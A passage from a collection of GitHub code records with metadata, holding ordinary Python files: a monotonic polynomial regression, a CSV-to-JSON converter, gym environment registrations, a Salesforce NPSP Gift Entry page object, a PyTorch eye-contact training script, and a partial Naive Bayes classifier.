"line_number": 90, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 92, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 93, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 112, "usage_type": "call"}, {"api_name": "os.devnull", "line_number": 122, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 124, "usage_type": "call"}, {"api_name": "pennsieve.log.get_log_level", "line_number": 127, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 127, "usage_type": "attribute"}, {"api_name": "pennsieve.log.get_log_level", "line_number": 128, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 128, "usage_type": "attribute"}, {"api_name": "websocket.create_connection", "line_number": 144, "usage_type": "call"}, {"api_name": "socket.error", "line_number": 145, "usage_type": "attribute"}, {"api_name": "errno.ECONNREFUSED", "line_number": 146, "usage_type": "attribute"}, {"api_name": "platform.system", "line_number": 158, "usage_type": "call"}, {"api_name": "websocket.create_connection", "line_number": 172, "usage_type": "call"}, {"api_name": "socket.error", "line_number": 173, "usage_type": "attribute"}, {"api_name": "errno.ECONNREFUSED", "line_number": 174, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 177, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 190, "usage_type": "call"}, {"api_name": "os.path", "line_number": 190, "usage_type": "attribute"}, {"api_name": "os.walk", "line_number": 215, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 217, "usage_type": "call"}, {"api_name": "os.path", "line_number": 217, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 220, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 221, "usage_type": "call"}, {"api_name": "os.path", "line_number": 221, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 222, "usage_type": "call"}, {"api_name": "os.path", "line_number": 222, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 228, "usage_type": "call"}, {"api_name": "os.path", "line_number": 228, "usage_type": "attribute"}, {"api_name": "pennsieve.models.Dataset", "line_number": 230, "usage_type": "argument"}, {"api_name": "pennsieve.models.Collection", "line_number": 233, "usage_type": "name"}, {"api_name": "pennsieve.models.DataPackage", "line_number": 233, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 244, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 262, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 316, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 324, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 339, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 391, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 391, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 411, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 411, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 412, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 412, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 423, "usage_type": "call"}, {"api_name": "os.path", "line_number": 423, "usage_type": "attribute"}, {"api_name": "warnings.warn", "line_number": 428, "usage_type": "call"}]}
{"seq_id": "25496795588", "text": "from sklearn.linear_model import Ridge\nfrom sklearn.linear_model import LinearRegression\nimport numpy as np\nfrom sklearn.preprocessing import PolynomialFeatures\nimport torch\nclass Poly_linear_regression_grad():\n    '''\n    import matplotlib.pyplot as plt\n    from sklearn.linear_model import Ridge\n    from model.Ridge_shift_regression import Ridge_Shift\n    from model.model import polynomial_regression\n    from model.linear_regression_grad import Poly_linear_regression_grad\n    import numpy as np\n    scale = 1\n    r_scale = 2\n    shift = 0.2\n    num = 5\n    xs = [ele / scale - shift for ele in range(num)]\n    ys = [np.exp(-ele ) + np.random.random() / r_scale for ele in xs]\n\n    model = Poly_linear_regression_grad(n_order= 4 ,lr = 0.00001,  momentum = 0.99, epoch= 100000, verbal= False, lambda_ = 0.1)\n    model.fit(np.array(xs).reshape(-1, 1), np.array(ys), range_ = [-0.1, 4.2] )\n    pred_x = np.arange(-0.1, 4.2, 0.1)\n    pred_y = model.predict(pred_x.reshape(-1, 1))\n    plt.scatter(xs, ys)\n    plt.plot(pred_x, pred_y)\n    plt.show()\n    '''\n    def  __init__(self, n_order, lr = 0.0001, momentum = 0.8, epoch = 1000, verbal = False, lambda_ = 0.01 ):\n        \"\"\"\n        Example code\n        n_samples, n_features = 3, 2\n        \"\"\"\n        self.n_order = n_order\n        self.lr = lr\n        self.momentum = momentum\n        self.epoch = epoch\n        self.verbal = verbal\n        self.lambda_ = lambda_\n    def fit(self, x, y, range_ = None, direction = 'decreasing'):\n        '''\n        x : numpy : N_len x m_feature, \n        y : numpy : N_len\n\n\n        '''\n        self._range = range_\n        self._direction = direction\n        self.poly = PolynomialFeatures(degree = self.n_order)\n        x_trans = self.poly.fit_transform(x)\n        self.n_features = x_trans.shape[1]\n        LR =  LinearRegression(fit_intercept=False)\n        LR.fit(x_trans, y)\n\n        coef = np.array( LR.coef_.tolist()) / 1000#+ 1\n        self.coef_ = torch.from_numpy(coef)\n        self.coef_.requires_grad = True\n        self.x = torch.from_numpy(x_trans)\n        self.y = torch.from_numpy(y)\n\n        # preparing for monotonic loss\n        if self._range != None:\n            left, right, step = self._range[0], self._range[1], (self._range[1] - self._range[0] ) / 100\n            x_range = np.arange(left, right, step).reshape(-1, 1)\n            poly__ = PolynomialFeatures(degree = self.n_order - 1)\n            self.x_trans__ = poly__.fit_transform(x_range)\n            self.x__ = torch.from_numpy(self.x_trans__)\n\n        self.op = torch.optim.SGD([self.coef_], lr=self.lr, momentum = self.momentum)\n        self.train(self.epoch)\n\n    def train(self, n_epoch = 1000):\n        for _ in range(n_epoch):\n            # acc loss \n            predict_y = self.x @ self.coef_.T\n            loss1 =  torch.sum((predict_y - self.y) ** 2)\n            \n            if self._range != None:\n                # breakpoint()\n                f_derivative = self.x__ @ ( self.coef_[1:] * ( torch.arange(self.n_features - 1 ) + 1 ) )\n                if self._direction == 'decreasing':\n                    loss2 = torch.sum(f_derivative[f_derivative > 0 ] ** 2)\n                else:\n                    loss2 = torch.sum(-f_derivative[f_derivative < 0 ]** 2)\n                # print('f_derivative', f_derivative)\n            else:\n                loss2 = 0\n            # loss2 = loss1 * 0\n            loss = loss1 + self.lambda_ *loss2\n            self.op.zero_grad()\n            loss.backward()\n            # loss1.backward()\n            self.op.step()\n\n\n\n            if self.verbal and _%10 == 0 :\n                print('loss: ', loss.item(), ' loss1: ', loss1.item(), ' loss2: ', loss2.item(), 'self.coef_', self.coef_.detach().numpy())\n                # print('predict_y', predict_y)\n                # print('self.y', self.y)\n            # breakpoint()\n        # loss2 = \n        print('final training loss', loss1)\n        # print('predict_y', predict_y)\n        # print('self.y', self.y)\n        # breakpoint()\n    def predict(self, x):\n        x_trans = self.poly.fit_transform(x)\n        pred = x_trans @ self.coef_.detach().numpy()\n        return pred\n\nif __name__ == '__main__':\n    PLRG = Poly_linear_regression_grad(3)\n    rng = np.random.RandomState(0)\n    n_samples = 3\n    n_features = 1\n    y = rng.randn(n_samples)\n    X = rng.randn(n_samples, n_features)\n    PLRG.fit(X,y)\n    print(' PLRG.pred(X)',  PLRG.predict(X))\n    breakpoint()\n", "repo_name": "lewis841214/Polynomial_regression_monotonic", "sub_path": "model/PR_monotonic.py", "file_name": "PR_monotonic.py", "file_ext": "py", "file_size_in_byte": 4441, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sklearn.preprocessing.PolynomialFeatures", "line_number": 49, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 64, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.PolynomialFeatures", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.optim.SGD", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 69, "usage_type": "attribute"}, {"api_name": "torch.sum", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.random.RandomState", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 114, "usage_type": "attribute"}]}
{"seq_id": "37241610146", "text": "# importing the required libraries \nimport csv \nimport json \n \n# defining the function to convert CSV file to JSON file \ndef convjson(csvFilename, jsonFilename): \n     \n    # creating a dictionary \n    mydata = {} \n     \n    # reading the data from CSV file \n    with open(csvFilename, encoding = 'utf-8') as csvfile: \n        csvRead = csv.reader(csvfile, delimiter='~') \n         \n        # Converting rows into dictionary and adding it to data \n        for rows in csvRead: \n            print(rows)\n\n    # dumping the data \n    with open(jsonFilename, 'w', encoding = 'utf-8') as jsonfile: \n        jsonfile.write(json.dumps(mydata, indent = 4)) \n \n# filenames      \ncsvFilename = r'dataframe1.csv' \njsonFilename = r'dataframe1.json' \n \n# Calling the convjson function \nconvjson(csvFilename, jsonFilename)", "repo_name": "Maksim-Burning-Inside/Diploma", "sub_path": "Диплом/Дипломный проект/Генерация базы для модели/Convert_CSV_to_json.py", "file_name": "Convert_CSV_to_json.py", "file_ext": "py", "file_size_in_byte": 808, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "csv.reader", "line_number": 13, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 21, "usage_type": "call"}]}
{"seq_id": "4072188364", "text": "import gym\ngym.logger.set_level(40)  # nopep8\nfrom gym.envs.registration import registry\nfrom eagent.gym_evolving_locomotion_envs import EvolvingWalkerEnv  # noqa\nfrom eagent.gym_evolving_manipulate_envs import EvolvingHandEnv  # noqa\n\n\ndef register(id, *args, **kvargs):\n    if id in registry.env_specs:\n        return\n    else:\n        return gym.envs.registration.register(id, *args, **kvargs)\n\n\n# ----------------------------------\n# Walking task\nregister(\n    id=\"EvolvingWalkerEnv-v2\",\n    entry_point=\"eagent:EvolvingWalkerEnv\",\n    max_episode_steps=1000,  # Should be matched with num_steps_in_eval\n    reward_threshold=99999.0,  # This might not be needed\n)\n\n# ----------------------------------\n# EvolvingBlock\nregister(\n    id=\"EvolvingHandBlockDense-v1\",\n    entry_point=\"eagent:EvolvingHandEnv\",\n    max_episode_steps=100,\n    kwargs={\n        \"target_position\": \"fixed_random\",\n        \"target_rotation\": \"xyz\",\n        \"reward_type\": \"dense\",\n        \"object_type\": \"block\",\n    },\n)\nregister(\n    id=\"EvolvingHandBlockSparse-v1\",\n    entry_point=\"eagent:EvolvingHandEnv\",\n    max_episode_steps=100,\n    kwargs={\n        \"target_position\": \"fixed_random\",\n        \"target_rotation\": \"xyz\",\n        \"reward_type\": \"sparse\",\n        \"object_type\": \"block\",\n    },\n)\nregister(\n    id=\"EvolvingHandBlockRotateZDense-v1\",\n    entry_point=\"eagent:EvolvingHandEnv\",\n    max_episode_steps=100,\n    kwargs={\n        \"target_position\": \"ignore\",\n        \"target_rotation\": \"z\",\n        \"reward_type\": \"dense\",\n        \"object_type\": \"block\",\n    },\n)\nregister(\n    id=\"EvolvingHandBlockRotateZSparse-v1\",\n    entry_point=\"eagent:EvolvingHandEnv\",\n    max_episode_steps=100,\n    kwargs={\n        \"target_position\": \"ignore\",\n        \"target_rotation\": \"z\",\n        \"reward_type\": \"sparse\",\n        \"object_type\": \"block\",\n    },\n)\n\n# ----------------------------------\n# EvolvingEgg\nregister(\n    id=\"EvolvingHandEggRotateZSparse-v1\",\n    entry_point=\"eagent:EvolvingHandEnv\",\n    max_episode_steps=100,\n    kwargs={\n        \"target_position\": \"ignore\",\n        \"target_rotation\": \"z\",\n        \"reward_type\": \"sparse\",\n        \"object_type\": \"egg\",\n    },\n)\nregister(\n    id=\"EvolvingHandEggRotateSparse-v1\",\n    entry_point=\"eagent:EvolvingHandEnv\",\n    max_episode_steps=100,\n    kwargs={\n        \"target_position\": \"ignore\",\n        \"target_rotation\": \"xyz\",\n        \"reward_type\": \"sparse\",\n        \"object_type\": \"egg\",\n    },\n)\n", "repo_name": "r-koike/eagent", "sub_path": "eagent/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 2439, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "gym.logger.set_level", "line_number": 2, "usage_type": "call"}, {"api_name": "gym.logger", "line_number": 2, "usage_type": "attribute"}, {"api_name": "gym.envs.registration.registry.env_specs", "line_number": 9, "usage_type": "attribute"}, {"api_name": "gym.envs.registration.registry", "line_number": 9, "usage_type": "name"}, {"api_name": "gym.envs.registration.register", "line_number": 12, "usage_type": "call"}, {"api_name": "gym.envs", "line_number": 12, "usage_type": "attribute"}]}
{"seq_id": "39702846985", "text": "import time\nimport re\nfrom cumulusci.robotframework.utils import capture_screenshot_on_error\nfrom cumulusci.robotframework.pageobjects import BasePage\nfrom cumulusci.robotframework.pageobjects import pageobject\nfrom BaseObjects import BaseNPSPPage\nfrom NPSP import npsp_lex_locators\nfrom logging import exception\n\nOID_REGEX = r\"^(%2F)?([a-zA-Z0-9]{15,18})$\"\n@pageobject(\"Custom\", \"GE_Gift_Entry\")\nclass GiftEntryPage(BaseNPSPPage, BasePage):\n\n    \n    def _go_to_page(self):\n        \"\"\"To go to Gift Entry page\"\"\"\n        url_template = \"{root}/lightning/n/{object}\"\n        name = self._object_name\n        object_name = \"{}{}\".format(self.cumulusci.get_namespace_prefix(), name)\n        url = url_template.format(root=self.cumulusci.org.lightning_base_url, object=object_name)\n        self.selenium.go_to(url)\n        self.salesforce.wait_until_loading_is_complete()\n        self.selenium.wait_until_page_contains(\"Templates\")\n\n    def _is_current_page(self):\n        \"\"\"\n        Verifies that current page is Gift Entry landing page\n        \"\"\"\n        self.selenium.wait_until_location_contains(\"GE_Gift_Entry\", timeout=60, \n                                                   message=\"Current page is not Gift Entry landing page\")\n        self.selenium.wait_until_page_contains(\"Default Gift Entry Template\")                                               \n\n    def click_gift_entry_button(self,title):\n        \"\"\"clicks on Gift Entry button identified with title\"\"\"\n        locator=npsp_lex_locators[\"gift_entry\"][\"button\"].format(title)\n        self.selenium.wait_until_page_contains_element(locator)\n        self.selenium.click_element(locator)  \n\n    def enter_value_in_field(self,**kwargs):\n        \"\"\"Enter value in specified field\"\"\"\n        for key,value in kwargs.items():\n            if key=='Description':\n                locator=npsp_lex_locators[\"gift_entry\"][\"field_input\"].format(key,\"textarea\")\n                self.selenium.wait_until_page_contains_element(locator)\n                self.salesforce._populate_field(locator, value)\n            else:\n                locator=npsp_lex_locators[\"gift_entry\"][\"field_input\"].format(key,\"input\")\n                self.selenium.wait_until_page_contains_element(locator)\n                self.salesforce._populate_field(locator, value)      \n\n    def select_template_action(self,name,action):\n        \"\"\"From the template table, select template with name and select an action from the dropdown\"\"\"\n        locator=npsp_lex_locators[\"gift_entry\"][\"actions_dropdown\"].format(name)\n        self.selenium.click_element(locator)\n        element=self.selenium.get_webelement(locator)\n        status=element.get_attribute(\"aria-expanded\")\n        if status==\"false\":\n            self.selenium.wait_until_page_contains(\"Clone\")    \n        self.selenium.click_link(action)\n        if action==\"Edit\" or action==\"Clone\":\n            self.selenium.wait_until_page_contains(\"Gift Entry Template Information\")\n        elif action==\"Delete\":\n            self.selenium.wait_until_page_does_not_contain(name)    \n\n    def select_object_group_field(self,object_group,field):\n        \"\"\"Select the specified field under specified object group \n           to add the field to gift entry form and verify field is added\"\"\"\n        locator=npsp_lex_locators[\"gift_entry\"][\"form_object_dropdown\"].format(object_group)\n        self.selenium.scroll_element_into_view(locator)\n        self.selenium.click_element(locator)\n        element=self.selenium.get_webelement(locator)\n        status=element.get_attribute(\"aria-expanded\")\n        if status==\"false\":\n            time.sleep(2)       \n        field_checkbox=npsp_lex_locators[\"gift_entry\"][\"object_field_checkbox\"].format(field)  \n        self.selenium.scroll_element_into_view(field_checkbox)   \n        self.selenium.click_element(field_checkbox)\n        field_label=object_group+': '+field\n        self.selenium.wait_until_page_contains(field_label)\n\n    def verify_template_is_not_available(self,template):\n        \"\"\"Verify that a gift template is not available for selection while creating a new batch\"\"\"\n        field=npsp_lex_locators[\"adv_mappings\"][\"field_mapping\"].format(\"Template\")\n        self.selenium.click_element(field)\n        element=self.selenium.get_webelement(field)\n        status=element.get_attribute(\"aria-activedescendant\")\n        if status is not None:\n            self.selenium.page_should_not_contain(template)\n        else:\n            self.selenium.wait_until_page_contains(\"Default Gift Entry Template\")\n            self.selenium.page_should_not_contain(template)  \n        self.selenium.click_button(\"Cancel\")\n\n    def get_template_record_id(self,template):\n        \"\"\" Parses the current url to get the object id of the current record.\n            Expects url format like: [a-zA-Z0-9]{15,18}\n        \"\"\"\n        locator=npsp_lex_locators[\"link-text\"].format(template)\n        element = self.selenium.get_webelement(locator)\n        e=element.get_attribute(\"href\")\n        print(f\"url is {e}\")\n        for part in e.split(\"=\"):\n            oid_match = re.match(OID_REGEX, part)\n            if oid_match is not None:\n                return oid_match.group(2)\n        raise AssertionError(\"Could not parse record id from url: {}\".format(e))\n\n    def store_template_record_id(self,template):\n        \"\"\" Parses the template href to get the object id of the current record.\n            Expects url format like: [a-zA-Z0-9]{15,18}\n        \"\"\"\n        id=self.get_template_record_id(template) \n        self.salesforce.store_session_record(\"Form_Template__c\",id)   \n              \n\n   \n\n        \n\n", "repo_name": "ekunoff/Food-Bank-Implementation", "sub_path": ".cci/projects/NPSP/92dec0f236cbd570a658dd9ce9d41f5ab66477d0/robot/Cumulus/resources/GiftEntryPageObject.py", "file_name": "GiftEntryPageObject.py", "file_ext": "py", "file_size_in_byte": 5614, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "BaseObjects.BaseNPSPPage", "line_number": 12, "usage_type": "name"}, {"api_name": "cumulusci.robotframework.pageobjects.BasePage", "line_number": 12, "usage_type": "name"}, {"api_name": "NPSP.npsp_lex_locators", "line_number": 35, "usage_type": "name"}, {"api_name": "NPSP.npsp_lex_locators", "line_number": 43, "usage_type": "name"}, {"api_name": "NPSP.npsp_lex_locators", "line_number": 47, "usage_type": "name"}, {"api_name": "NPSP.npsp_lex_locators", "line_number": 53, "usage_type": "name"}, {"api_name": "NPSP.npsp_lex_locators", "line_number": 68, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 74, "usage_type": "call"}, {"api_name": "NPSP.npsp_lex_locators", "line_number": 75, "usage_type": "name"}, {"api_name": "NPSP.npsp_lex_locators", "line_number": 83, "usage_type": "name"}, {"api_name": "NPSP.npsp_lex_locators", "line_number": 98, "usage_type": "name"}, {"api_name": "re.match", "line_number": 103, "usage_type": "call"}, {"api_name": "cumulusci.robotframework.pageobjects.pageobject", "line_number": 11, "usage_type": "call"}]}
{"seq_id": "41838752805", "text": "from torch.utils.data.dataloader import DataLoader\r\nfrom dataset import DataSet\r\nfrom network import NetA, SubCNNA, NetA4\r\nfrom torch import optim\r\nfrom torch import nn, save, load, Tensor\r\nfrom collections import Counter\r\nfrom util import calculate_mcc\r\nimport time\r\n\r\n\r\ndef train(epoch, batch_size=128, lr=0.00001):\r\n    model.cuda()\r\n    model.train()\r\n    optimizer = optim.AdamW(model.parameters(), lr=lr)\r\n    lossfn = nn.MSELoss()\r\n    print(\"=========Epoch-{}==========[lr:{}]\".format(epoch, lr))\r\n    dataset = DataSet(\"train_data_a.json\", True)\r\n    train_data = DataLoader(dataset, batch_size=batch_size, shuffle=True)\r\n    tloss = 0\r\n    avg_loss = 0\r\n    start_time = time.time()\r\n    for i, (left, right, label, angle) in enumerate(train_data):\r\n        optimizer.zero_grad()\r\n        left = left.cuda()\r\n        right = right.cuda()\r\n        label = label.cuda()\r\n        angle = angle.cuda()\r\n        preds = model(left, right, angle)\r\n        loss = lossfn(preds, label)\r\n        loss.backward()\r\n        optimizer.step()\r\n        tloss += loss\r\n        avg_loss = round(float(tloss / i), 3)\r\n        curtime = time.time()\r\n        eta = (curtime - start_time) / (i + 1) * (len(train_data) - i)\r\n        print('\\r', \"{}/{} current loss {}, avg loss {}, ETA {}s.\"\r\n              .format(i * batch_size, len(dataset), loss, avg_loss, round(eta, 2)), end=\"\")\r\n    print(\"\\nEpoch {} has finish. Epoch loss is {}\".format(epoch, avg_loss))\r\n\r\n\r\ndef testCHK(**kwargs):\r\n    chkname = kwargs.get(\"chkname\")\r\n    epoch = kwargs.get(\"epoch\")\r\n    model.eval()\r\n    model.cuda()\r\n    if chkname is not None:\r\n        fchk = open(chkname, 'rb')\r\n        model.load_state_dict(load(fchk))\r\n        print(\"=========Test-{}==========\".format(chkname))\r\n    else:\r\n        print(\"=========Test-{}==========\".format(epoch))\r\n    test_data = DataLoader(DataSet(\"test_data_a.json\"), batch_size=128, shuffle=False)\r\n    res = []\r\n    corr = []\r\n    for i, (left, right, label, angle) in enumerate(test_data):\r\n        left = left.cuda()\r\n        right = right.cuda()\r\n        label = label.cuda()\r\n        angle = angle.cuda()\r\n        pred: Tensor = model(left, right, angle)\r\n        res.extend(pred.tolist())\r\n        corr.extend(label.tolist())\r\n    print(res[2])\r\n    res = list(map(softmax_convert, res))\r\n    corr = list(map(softmax_convert, corr))\r\n    tp, tn, fp, fn = 0, 0, 0, 0\r\n    for x in range(len(res)):\r\n        if res[x] == corr[x]:\r\n            if corr[x] == [0, 1]:\r\n                tp += 1\r\n            if corr[x] == [1, 0]:\r\n                tn += 1\r\n        elif res[x] != corr[x]:\r\n            if corr[x] == [0, 1]:\r\n                fn += 1\r\n            if corr[x] == [1, 0]:\r\n                fp += 1\r\n    print(\"labels: \" + str(corr[:10]))\r\n    print(\"result: {}\".format(res[:10]))\r\n    print(Counter(map(tuple, corr)))\r\n    print(Counter(map(tuple, res)))\r\n    print(\"tp:{},tn:{},fp:{},fn:{}\".format(tp, tn, fp, fn))\r\n    print(\"Accuracy:{}/{}\".format(tp + tn, tp + tn + fn + fp))\r\n    print(\"Precision:{}/{}\".format(tp, tp + fp))\r\n    print(\"Recall:{}/{}\".format(tp, tp + fn))\r\n    print(\"MCC:{}\".format(calculate_mcc(tp, fp, fn, tn)))\r\n\r\n\r\ndef softmax_convert(tar):\r\n    if tar[0] == max(tar):\r\n        return [1, 0]\r\n    else:\r\n        return [0, 1]\r\n\r\n\r\ndef sigmod_convent(tar):\r\n    if tar[0] >= 0:\r\n        return 1\r\n    else:\r\n        return 0\r\n\r\n\r\nif __name__ == '__main__':\r\n    model = NetA(SubCNNA)\r\n    model.cuda()\r\n    init_lr = 0.0001\r\n    # for e in range(1, 82):\r\n    #     if e > 1 and (e - 1) % 20 == 0:\r\n    #         init_lr *= 0.5\r\n    #     train(e, lr=init_lr, batch_size=256)\r\n    #     save(model.state_dict(), open(\"{}a_epcoh-checkpoint.chk\".format(e), 'wb'))\r\n    #     testCHK(epoch=e)\r\n    testCHK(chkname=\"62a_epcoh-checkpoint.chk\")\r\n", "repo_name": "L0veSunshine/Eye_Contact", "sub_path": "3.Eye contact detection/train_model.py", "file_name": "train_model.py", "file_ext": "py", "file_size_in_byte": 3787, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.optim.AdamW", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.nn.MSELoss", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "dataset.DataSet", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.utils.data.dataloader.DataLoader", "line_number": 18, "usage_type": "call"}, {"api_name": "time.time", "line_number": 21, "usage_type": "call"}, {"api_name": "time.time", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.utils.data.dataloader.DataLoader", "line_number": 52, "usage_type": "call"}, {"api_name": "dataset.DataSet", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 60, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 80, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 81, "usage_type": "call"}, {"api_name": "util.calculate_mcc", "line_number": 86, "usage_type": "call"}, {"api_name": "network.NetA", "line_number": 104, "usage_type": "call"}, {"api_name": "network.SubCNNA", "line_number": 104, "usage_type": "argument"}]}
{"seq_id": "16659196202", "text": "from Tkinter import *\nimport pandas as pd\nfrom scipy.stats import mode\nimport tkFileDialog\nimport tkMessageBox\nfrom decimal import *\nfrom sklearn import metrics\n\nclass Analyser:\n    train = None\n    sructureDic = None\n    numOfBins = None\n    initDictionaryStruct = {}\n    countRecotdsClass = {}\n    struct = {}\n    p = 0.0\n    m = 2\n\n#The function calculates the average and put the value at missind data\n    def average(self, key):\n        self.train[key].fillna(self.train[key].mean(), inplace=True)\n\n#The function found the most common value and put the value at missind data\n    def mostCommon(self, key):\n        self.train[key].fillna(mode(self.train[key]).mode[0], inplace=True)\n\n#The function handles missing numeric and category data\n    def handleMissingData(self):\n        for key, value in self.sructureDic.iteritems():\n            if(value == \"class\"):\n                continue\n            if value == \"NUMERIC\":\n                self.average(key)\n            else:\n                self.mostCommon(key)\n\n#The function calculates equal width\n    def EqualWidth(self, maxval, minval, cut_points):\n        tempWidth = float(maxval) - float(minval)\n        width =  float(tempWidth/ float(cut_points))\n        i = 1\n        binsArr = []\n        while i < cut_points:\n            binsArr.append(minval + (width * i))\n            i += 1\n        return binsArr\n\n#The function devides to equal width\n    def binning(self, col, cut_points, key):\n        minval = col.min()\n        maxval = col.max()\n        binsArr = self.EqualWidth(maxval, minval, cut_points) #calculate bins\n        labels = range(1, cut_points + 1)\n        break_points = [minval] + binsArr + [maxval]\n        self.initDictionaryStruct[key] = labels\n        self.struct[key] = break_points\n        colBin = pd.cut(col, bins=break_points, labels=labels, include_lowest=True)\n        return colBin\n\n\n#The function does discretization to the data set\n    def Discretization(self):\n        try:\n            for key, value in self.sructureDic.iteritems(): #devide if numeric or categoty\n                if value == \"NUMERIC\":\n                    # print (key)\n                    self.train[key] = self.binning(self.train[key], self.numOfBins, key)\n                else:\n                    valueList = str(value).replace(\"}\", \"\").replace(\"{\", \"\").split(\",\")\n                    self.initDictionaryStruct[key] = valueList\n                    self.struct[key] = valueList\n        except:\n            tkMessageBox.showerror(\"Naive Bayes Classifier\", \"the bins are not valid\")\n\n#The function calculates the probability of the attributes in category by the class\n    def calculateProb(self, classValue, attribute, category):\n        n = self.countRecotdsClass[classValue]\n        countAtt = self.train[category] == attribute\n        countClass = self.train['class'] == classValue\n        count = self.train[countAtt & countClass]\n        nc = len(count)\n        result = (nc + (self.m * self.p)) / (n + self.m)\n        return result\n\n#The function calculates the probability of 'class' attribute\n    def probClass(self):\n        self.countRecotdsClass = self.train[\"class\"].value_counts()\n\n#The function creates class probability table for each class value\n    def createClassProbTable(self, attribute, category):\n        probDictionary = {}\n        for classValue in self.initDictionaryStruct[\"class\"]:\n            prob = self.calculateProb(classValue, attribute, category)\n            probDictionary[classValue] = prob\n        return probDictionary\n\n#The function create table category for each attribute\n    def createTableCategory(self, attributesCategory, category):\n        categoryTable = {}\n        for attribute in attributesCategory:\n            classProb = self.createClassProbTable(attribute, category)\n            categoryTable[attribute] = classProb\n        return categoryTable\n\n#The function bulids table probability\n    def buildTablesProb(self):\n        bigTable = {}\n        leng = len(str(self.sructureDic[\"class\"]).replace(\"}\", \"\").replace(\"{\", \"\").split(\",\"))\n        self.p = float(float(1) / float(leng))\n        for category, value in self.sructureDic.iteritems():\n            if category == \"class\":\n                continue\n            attributesCategory = self.initDictionaryStruct[category] #take the attribue category\n            categoryTable = self.createTableCategory(attributesCategory, category)\n            bigTable[category] = categoryTable\n\n        return bigTable\n\n#The function builds the model\n    def buildModel(self, sructureDic, train, numOfBins):\n        self.train = train\n        self.sructureDic = sructureDic\n        self.numOfBins = numOfBins\n        self.handleMissingData()\n        self.Discretization()\n        self.probClass()\n        probTables = self.buildTablesProb()\n        return probTables\n\n\nclass Classifier:\n    test = None\n    structIntervals = None\n    structDic = None\n    structLables = None\n\n# The function does discretization to the test set\n    def Discretization(self):\n        for key, value in self.structDic.iteritems():\n            if key == \"class\":\n                continue\n            if value == \"NUMERIC\":\n                intervals = self.structIntervals[key]\n                labels = self.structLables[key]\n                self.test[key] = pd.cut(self.test[key], bins=intervals, labels=labels, include_lowest=True)\n\n#The function writes to file the results\n    def writeToFile(self, dirpath, classification):\n        f = open(dirpath + \"\\\\output.txt\", \"w\")\n        i = int(1)\n        while i < len(classification):\n            f.write(str(i) + \" \" + str(classification[int(i)]) + \"\\n\") #write the number and the classification\n            i = int(i) + int(1)\n        f.close()\n\n#The function calculates nult between probs\n    def getMult(self, listProb):\n        mult = Decimal(1)\n        for prob in listProb:\n            mult = Decimal(mult) * Decimal(prob)\n        return mult\n\n#The function gets the probability from the table\n    def getProb(self, model, category, attribute, classAttribute):\n        dictionary = model[category]\n        classProb = dictionary[attribute]\n        prob = classProb[classAttribute]\n        return prob\n\n#The function gets the classification of the row\n    def getClassificationRow(self,probByVal):\n        # print (probByVal)\n        classification = None\n        maxProb = 0\n        for classVal, prob in probByVal.iteritems(): # for on probByVal\n            if prob>maxProb:\n                